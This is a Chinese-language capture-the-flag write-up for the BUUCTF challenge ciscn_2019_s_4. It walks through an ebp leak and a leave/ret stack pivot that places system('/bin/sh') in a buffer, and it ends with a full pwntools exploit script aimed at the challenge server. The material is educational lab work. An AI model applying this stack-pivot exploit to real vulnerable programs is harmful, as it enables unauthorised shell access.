[BUUCTF]PWN——ciscn_2019_s_4

ciscn_2019_s_4

附件

步骤:

  1. 例行检查,32位程序,开启了nx保护
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况,两次输入,让人联想到栈迁移
    在这里插入图片描述
  3. 32位ida载入,找到关键函数,只可以溢出8字节,没法构造太长的rop,在这里插入图片描述
    程序最后是用leave和retn还原现场的,首先想到的就是栈迁移
    在这里插入图片描述
    leave实质 上是move esp,ebp和pop ebp,将栈底地址赋给栈顶,然后在重新设置栈底地址,我的理解是重新开栈
    retn实质上是pop rip,设置下一条执行指令的地址

利用思路

  1. 利用第一个输入点来泄露ebp的值,动调找一下buf在栈上的位置,用ebp去表示
  2. 第二个输入点输入system(/bin/sh),利用两次leave将栈迁移到buf处,执行buf里的指令,获取shell

利用过程

  1. 首先是利用第一个i输入点来泄露ebp的值
payload='a'*0x24+'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,'x00'))
  1. 动调看一下ebp和buf的位置距离,用ebp去表示buf
    在这里插入图片描述
    ebp的地址是0xffecdee8,buf的地址是0xffecdeb0,两者相差0x38,我们可以用ebp-0x38来表示buf的地址
  2. 现在到了第二个输入点,我们要往buf里写入system(‘/bin/sh’),并将栈劫持回buf地址,执行指令获取shell
payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/shx00').ljust(0x28,'a')+p32(buf-4)+p32(leave)

由于程序里执行过system,所以可以直接利用system函数的地址,
(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/shx00').ljust(0x28,'a')这个是用来填充buf的,先看后面的p32(buf-4)+p32(leave)

p32(buf-4),将ebp覆盖成了buf地址-4,-4是因为没执行一条指令后,eip会自动+4,
p32(levae),将返回地址覆盖成了leave
看一下执行完后这条指令后,栈的布局
在这里插入图片描述
现在执行返回指令里的leave指令
move esp,ebp
在这里插入图片描述

pop ebp
在这里插入图片描述
现在执行程序里原有的leave
move esp,ebp
在这里插入图片描述
pop ebp
在这里插入图片描述
reten,pop eip
在这里插入图片描述
到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容,先是执行system函数,eip+4,eip就指向了/bin/sh,system里传入了参数bin/sh,执行了system(/bin/sh),获取了shell

完整exp:

from pwn import *

p=remote('node3.buuoj.cn',26531)
#p=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload='a'*0x24+'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,'x00'))
#gdb.attach(p)

print 'ebp='+hex(ebp) 

buf=ebp-0x38 


payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/shx00').ljust(0x28,'a')+p32(buf-4)+p32(leave)

p.send(payload) 
#gdb.attach(p)

p.interactive()

在这里插入图片描述
为了方便看,我是从上往下开栈的,实质上是从下往上开栈的

原文地址:https://www.cnblogs.com/xlrp/p/14273603.html